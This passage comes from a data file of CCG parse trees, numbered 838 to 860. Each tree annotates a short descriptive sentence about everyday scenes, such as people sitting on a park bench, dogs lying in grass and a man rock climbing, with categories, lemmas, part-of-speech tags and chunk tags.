t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'next', 'next', 'JJ', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'building', 'building', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'city', 'city', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(838,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'next', 'next', 'JJ', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'building', 'building', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'city', 'city', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(839,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ground', 'ground', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(840,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'backwards', 'backwards', 'RB', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ground', 'ground', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(841,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'sweater', 'sweater', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'multicolor', 'multicolor', 'JJ', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'shoulders', 'shoulder', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'old', 'old', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'grey', 'grey', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(842,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'sweater', 'sweater', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'multicolor', 'multicolor', 'JJ', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'shoulders', 'shoulder', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'grey', 'grey', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(843,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'going', 'go', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(844,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'going', 'go', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sea', 'sea', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(845,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'park', 'park', 'NN', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sunny', 'sunny', 'JJ', 'I-NP', 'O'),
t(n, 'day', 'day', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(846,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'park', 'park', 'NN', 'I-NP', 'O'),
t(n, 'bench', 'bench', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'hot', 'hot', 'JJ', 'I-NP', 'O'),
t(n, 'day', 'day', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(847,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(848,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toddler', 'toddler', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'making', 'make', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'splash', 'splash', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'inside', 'inside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'paddling', 'paddling', 'NN', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(849,
rp(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grey', 'grey', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'silky', 'silky', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
ba(np\np,
lx(np\np, s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
conj((np\np)\(np\np), np\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np\np, s:dcl/np,
fc(s:dcl/np,
tr(s:dcl/(s:dcl\np),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
fc((s:dcl\np)/np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fc((s:ng\np)/np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t(pp/np, 'on', 'on', 'IN', 'I-PRT', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(850,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'spotting', 'spot', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dry', 'dry', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(851,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'))),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'kitchen', 'kitchen', 'NN', 'I-NP', 'O'),
t(n, 'countertop', 'countertop', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(852,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'next', 'next', 'JJ', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'kitchen', 'kitchen', 'NN', 'I-NP', 'O'),
t(n, 'counter', 'counter', 'NN', 'I-NP', 'O'))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'investigating', 'investigate', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(853,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'O', 'O')),
ba(np,
lx(np, n,
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'city', 'city', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bay', 'bay', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(854,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np:nb,
lx(np, n,
fa(n,
t(n/n, 'rock', 'rock', 'NN', 'I-NP', 'O'),
t(n, 'climbing', 'climb', 'VBG', 'I-VP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'city', 'city', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bay', 'bay', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'background', 'background', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(855,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
lx(np, n,
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O'))),
lx((s:dcl\np)\(s:dcl\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(comma, ',', ',', ',', 'O', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'pausing', 'pause', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'calculating', 'calculate', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'route', 'route', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(856,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
lx(np, n,
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O'))),
lx((s:dcl\np)\(s:dcl\np), s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(comma, ',', ',', ',', 'O', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'stopping', 'stop', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'calculating', 'calculate', 'VBG', 'I-VP', 'O'))),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'route', 'route', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(857,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'No', 'no', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'gathering', 'gather', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'stand', 'stand', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'fair', 'fair', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(858,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'carnival', 'carnival', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(859,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'rollerbladers', 'rollerblader', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/pp,
t((s:ng\np)/pp, 'lining', 'line', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(860,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
